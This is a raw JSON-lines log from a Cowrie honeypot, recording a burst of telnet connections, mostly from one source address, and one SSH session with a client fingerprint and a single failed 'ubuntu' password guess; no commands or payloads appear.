{"eventid":"cowrie.session.closed","duration":31.187138319015503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:20.233687Z","src_ip":"213.129.84.225","session":"b468fa313e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39442,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b262166154e","protocol":"telnet","message":"New connection: 213.129.84.225:39442 (159.203.135.109:23) [session: 0b262166154e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:20.947381Z"}
{"eventid":"cowrie.session.closed","duration":30.91973853111267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:21.043463Z","src_ip":"213.129.84.225","session":"95e196032c97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43268,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb9087bb04a","protocol":"telnet","message":"New connection: 213.129.84.225:43268 (159.203.135.109:23) [session: 9fb9087bb04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:21.768250Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39532,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a4e886bce4","protocol":"telnet","message":"New connection: 213.129.84.225:39532 (159.203.135.109:23) [session: e3a4e886bce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:21.971381Z"}
{"eventid":"cowrie.session.closed","duration":31.01377248764038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:22.124814Z","src_ip":"213.129.84.225","session":"92c7cbbe0317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6286141872406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:22.285999Z","src_ip":"213.129.84.225","session":"1d9627ea7129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41062,"dst_ip":"159.203.135.109","dst_port":23,"session":"37e0f30965b6","protocol":"telnet","message":"New connection: 213.129.84.225:41062 (159.203.135.109:23) [session: 37e0f30965b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:22.314899Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46646,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f50e570e114","protocol":"telnet","message":"New connection: 213.129.84.225:46646 (159.203.135.109:23) [session: 3f50e570e114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:22.508298Z"}
{"eventid":"cowrie.session.closed","duration":31.167264461517334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:22.513241Z","src_ip":"213.129.84.225","session":"3b9e73274f81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938316345214844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:23.129409Z","src_ip":"213.129.84.225","session":"fb8766ec9372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36314,"dst_ip":"159.203.135.109","dst_port":23,"session":"628373552a23","protocol":"telnet","message":"New connection: 213.129.84.225:36314 (159.203.135.109:23) [session: 628373552a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:23.336907Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":37988,"dst_ip":"159.203.135.109","dst_port":23,"session":"39a2303d2493","protocol":"telnet","message":"New connection: 207.148.4.7:37988 (159.203.135.109:23) [session: 39a2303d2493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:23.841594Z"}
{"eventid":"cowrie.session.closed","duration":30.98710799217224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:24.118097Z","src_ip":"213.129.84.225","session":"fd0dcfded9f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.312862634658813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:25.049157Z","src_ip":"213.129.84.225","session":"e13feea7b989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653517961502075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:25.063319Z","src_ip":"213.129.84.225","session":"704c5630a676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91947865486145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:25.079943Z","src_ip":"213.129.84.225","session":"f6d72f8b6ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59190,"dst_ip":"159.203.135.109","dst_port":23,"session":"460b6897fdfd","protocol":"telnet","message":"New connection: 213.129.84.225:59190 (159.203.135.109:23) [session: 460b6897fdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:25.193529Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60058,"dst_ip":"159.203.135.109","dst_port":23,"session":"1376d49f6bed","protocol":"telnet","message":"New connection: 213.129.84.225:60058 (159.203.135.109:23) [session: 1376d49f6bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:25.355713Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60868,"dst_ip":"159.203.135.109","dst_port":23,"session":"39409129db55","protocol":"telnet","message":"New connection: 213.129.84.225:60868 (159.203.135.109:23) [session: 39409129db55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:25.487696Z"}
{"eventid":"cowrie.session.closed","duration":31.25466752052307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:25.628333Z","src_ip":"213.129.84.225","session":"44b5d9723617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14030909538269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:26.057104Z","src_ip":"213.129.84.225","session":"b4ae6e34a78c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35334,"dst_ip":"159.203.135.109","dst_port":23,"session":"96dcf1042a6e","protocol":"telnet","message":"New connection: 213.129.84.225:35334 (159.203.135.109:23) [session: 96dcf1042a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:26.111812Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35766,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6b31a079bb1","protocol":"telnet","message":"New connection: 213.129.84.225:35766 (159.203.135.109:23) [session: a6b31a079bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:26.199570Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36142,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc689a4a5111","protocol":"telnet","message":"New connection: 213.129.84.225:36142 (159.203.135.109:23) [session: dc689a4a5111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:26.267713Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36610,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4d843064ccd","protocol":"telnet","message":"New connection: 213.129.84.225:36610 (159.203.135.109:23) [session: f4d843064ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:26.358318Z"}
{"eventid":"cowrie.session.closed","duration":31.003751754760742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:26.407994Z","src_ip":"213.129.84.225","session":"983af2968800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37054,"dst_ip":"159.203.135.109","dst_port":23,"session":"87032307b442","protocol":"telnet","message":"New connection: 213.129.84.225:37054 (159.203.135.109:23) [session: 87032307b442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:26.442302Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33904,"dst_ip":"159.203.135.109","dst_port":23,"session":"3141603d30b8","protocol":"telnet","message":"New connection: 213.129.84.225:33904 (159.203.135.109:23) [session: 3141603d30b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:26.739524Z"}
{"eventid":"cowrie.session.closed","duration":30.574354887008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:27.051938Z","src_ip":"213.129.84.225","session":"307266656398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40544,"dst_ip":"159.203.135.109","dst_port":23,"session":"7edfd0e5e580","protocol":"telnet","message":"New connection: 213.129.84.225:40544 (159.203.135.109:23) [session: 7edfd0e5e580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:27.152446Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41014,"dst_ip":"159.203.135.109","dst_port":23,"session":"febbadc9a329","protocol":"telnet","message":"New connection: 213.129.84.225:41014 (159.203.135.109:23) [session: febbadc9a329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:27.249980Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":47840,"dst_ip":"10.17.0.5","dst_port":22,"session":"59eb834f59c5","protocol":"ssh","message":"New connection: 190.244.39.232:47840 (10.17.0.5:22) [session: 59eb834f59c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:27.600018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:27.607741Z","src_ip":"190.244.39.232","session":"59eb834f59c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.517419815063477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:27.780588Z","src_ip":"213.129.84.225","session":"04165836b7a3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:27.799424Z","src_ip":"190.244.39.232","session":"59eb834f59c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54636,"dst_ip":"10.17.0.5","dst_port":23,"session":"7168f224d953","protocol":"telnet","message":"New connection: 137.184.155.248:54636 (10.17.0.5:23) [session: 7168f224d953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:27.860357Z"}
{"eventid":"cowrie.session.closed","duration":30.75191903114319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:28.153545Z","src_ip":"213.129.84.225","session":"7e4fca66125a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd123","message":"login attempt [ubuntu/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:28.591571Z","src_ip":"190.244.39.232","session":"59eb834f59c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47318,"dst_ip":"159.203.135.109","dst_port":23,"session":"f54cb1e97aac","protocol":"telnet","message":"New connection: 213.129.84.225:47318 (159.203.135.109:23) [session: f54cb1e97aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:28.594396Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49108,"dst_ip":"159.203.135.109","dst_port":23,"session":"57343a0bdfb5","protocol":"telnet","message":"New connection: 213.129.84.225:49108 (159.203.135.109:23) [session: 57343a0bdfb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:29.027126Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49624,"dst_ip":"159.203.135.109","dst_port":23,"session":"f19b7ba23452","protocol":"telnet","message":"New connection: 213.129.84.225:49624 (159.203.135.109:23) [session: f19b7ba23452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:29.136661Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51250,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f95af7f073c","protocol":"telnet","message":"New connection: 213.129.84.225:51250 (159.203.135.109:23) [session: 9f95af7f073c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:29.447464Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52350,"dst_ip":"159.203.135.109","dst_port":23,"session":"81ea536b389b","protocol":"telnet","message":"New connection: 213.129.84.225:52350 (159.203.135.109:23) [session: 81ea536b389b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:29.666570Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:29.782446Z","src_ip":"190.244.39.232","session":"59eb834f59c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.754924058914185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:30.040742Z","src_ip":"213.129.84.225","session":"8cf47d53028a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739633321762085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:31.044988Z","src_ip":"213.129.84.225","session":"b823f7967ce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64499521255493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:31.055199Z","src_ip":"213.129.84.225","session":"f22ea8b31b9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653367042541504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:31.058808Z","src_ip":"213.129.84.225","session":"fd0c1e616797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.200893878936768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:31.071136Z","src_ip":"213.129.84.225","session":"76b0380eeb98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59358,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6435c039081","protocol":"telnet","message":"New connection: 213.129.84.225:59358 (159.203.135.109:23) [session: d6435c039081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:31.138801Z"}
{"eventid":"cowrie.session.closed","duration":30.87546420097351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:31.237030Z","src_ip":"213.129.84.225","session":"3b0ecb783400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51504,"dst_ip":"159.203.135.109","dst_port":23,"session":"78977201790a","protocol":"telnet","message":"New connection: 213.129.84.225:51504 (159.203.135.109:23) [session: 78977201790a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:32.498896Z"}
{"eventid":"cowrie.session.closed","duration":31.27786636352539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:32.579430Z","src_ip":"213.129.84.225","session":"0354983bcfe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.716906785964966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:33.045535Z","src_ip":"213.129.84.225","session":"b2bc872bdc99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.205750703811646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:33.051072Z","src_ip":"213.129.84.225","session":"51bc493a5fef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.676764726638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:33.058419Z","src_ip":"213.129.84.225","session":"56ac2b8b9c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78948211669922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:34.072987Z","src_ip":"213.129.84.225","session":"53580cba3047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10593390464783,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:34.167101Z","src_ip":"213.129.84.225","session":"479db4544ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278679847717285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:34.570161Z","src_ip":"207.148.4.7","session":"9704aa647132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.531063079833984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:35.077094Z","src_ip":"213.129.84.225","session":"4ae764937a7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840698957443237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:35.082835Z","src_ip":"213.129.84.225","session":"d45d9d2c4b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183736324310303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:35.355059Z","src_ip":"213.129.84.225","session":"b1d18b68a1dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49282,"dst_ip":"159.203.135.109","dst_port":23,"session":"85ef3819ad8f","protocol":"telnet","message":"New connection: 213.129.84.225:49282 (159.203.135.109:23) [session: 85ef3819ad8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:35.784644Z"}
{"eventid":"cowrie.session.closed","duration":31.436326265335083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:35.815212Z","src_ip":"213.129.84.225","session":"3d551bd17b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.588505744934082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:36.049619Z","src_ip":"213.129.84.225","session":"4268e08a7921","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.698030471801758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:36.175235Z","src_ip":"213.129.84.225","session":"9ebec85196ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":41622,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5849b3495fd","protocol":"telnet","message":"New connection: 207.148.4.7:41622 (159.203.135.109:23) [session: e5849b3495fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:36.201853Z"}
{"eventid":"cowrie.session.closed","duration":30.685888051986694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:36.278481Z","src_ip":"213.129.84.225","session":"c26a46499503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.430970668792725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:36.345094Z","src_ip":"213.129.84.225","session":"a71b103947b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59800,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0475cfed914","protocol":"telnet","message":"New connection: 213.129.84.225:59800 (159.203.135.109:23) [session: b0475cfed914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:36.987627Z"}
{"eventid":"cowrie.session.closed","duration":31.93395161628723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:37.231016Z","src_ip":"213.129.84.225","session":"42e7e6fc512c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93020510673523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:37.658890Z","src_ip":"207.148.4.7","session":"70e810bbd107","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36312,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d81c0a208c4","protocol":"telnet","message":"New connection: 213.129.84.225:36312 (159.203.135.109:23) [session: 0d81c0a208c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:38.001848Z"}
{"eventid":"cowrie.session.closed","duration":30.239639043807983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:39.056942Z","src_ip":"213.129.84.225","session":"814a7aac27d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921983242034912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:39.199586Z","src_ip":"213.129.84.225","session":"9ee0054fe013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42840,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6cd336d6e61","protocol":"telnet","message":"New connection: 213.129.84.225:42840 (159.203.135.109:23) [session: a6cd336d6e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:39.407072Z"}
{"eventid":"cowrie.session.closed","duration":120.0013153553009,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:40.324961Z","src_ip":"5.54.52.173","session":"1f0601027874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616152048110962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:40.441352Z","src_ip":"207.148.4.7","session":"99b540ba8bc1","protocol":"telnet"}
